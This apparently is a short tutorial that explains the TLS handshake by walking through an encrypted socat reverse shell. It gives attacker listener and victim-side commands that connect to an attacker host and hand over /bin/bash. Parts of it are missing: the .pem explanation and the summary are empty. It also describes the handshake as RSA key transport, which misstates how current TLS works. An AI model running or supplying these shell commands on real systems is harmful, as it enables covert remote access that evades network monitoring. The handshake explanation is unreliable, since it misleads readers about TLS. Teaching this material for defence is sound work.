How OpenSSL and the TLS Handshake Secure Your Remote Shell

Analogy

Imagine you want to send a secret message to someone:

1. They send you a box with an open padlock — this padlock is their public certificate.

2. You write your secret (session key), lock the box with their padlock, and send it back.

3. Only they can open it — because only they have the key to that lock (private key).

4. Now both of you use that shared secret (session key) to talk securely.

How TLS Makes Your Shell Invisible (ft. OpenSSL + Socat)

What This Article Covers

• What happens during a TLS/SSL handshake

• How .pem files work

• How socat uses OpenSSL for encrypted reverse shells

• Step-by-step encryption breakdown (no hand-waving!)

• Why this matters for red teamers and defenders

---

1. What Is a .pem File?

A .pem file is usually just Base64-encoded text that contains:

When you run socat with cert=shell.pem, the certificate is sent to the client, but the private key stays local.

---

2. TLS/SSL Handshake (Behind the Scenes)

Let’s say you're using this command on the attacker side:

socat OPENSSL-LISTEN:4443,cert=shell.pem,verify=0 -

And on the target:

socat OPENSSL:<attacker-ip>:4443 EXEC:/bin/bash

Here’s what happens:

1. Server Sends Public Certificate

• The attacker (server) sends only the certificate (public part of shell.pem).

• It's sent unencrypted — and that's perfectly fine.

  • TLS is designed that way. Public certificates aren’t secrets.

2. Client Encrypts a Session Key

• Both parties agree on cipher suite (e.g., AES-256).

• The client:

  • Generates a random session key (symmetric key).

  • Encrypts this session key using the server’s public key.

  • Sends the encrypted session key to the server.

3. Server Decrypts the Session Key

• The attacker uses their private key (stored in shell.pem) to decrypt the session key.

• Now both client and server share the same symmetric key.

4. Encrypted Shell Communication Begins

• The client runs /bin/bash.

• Shell input/output is now encrypted using the session key.

• The attacker sees decrypted shell output in real time.

All of this happens in a matter of milliseconds.

---

Real Socat TLS Shell Demo

Attacker:

socat OPENSSL-LISTEN:4443,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0

Victim:

socat OPENSSL:<attacker-ip>:4443 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

This gives you a fully encrypted interactive shell, using OpenSSL underneath.

---

Quick Summary: TLS with Socat

---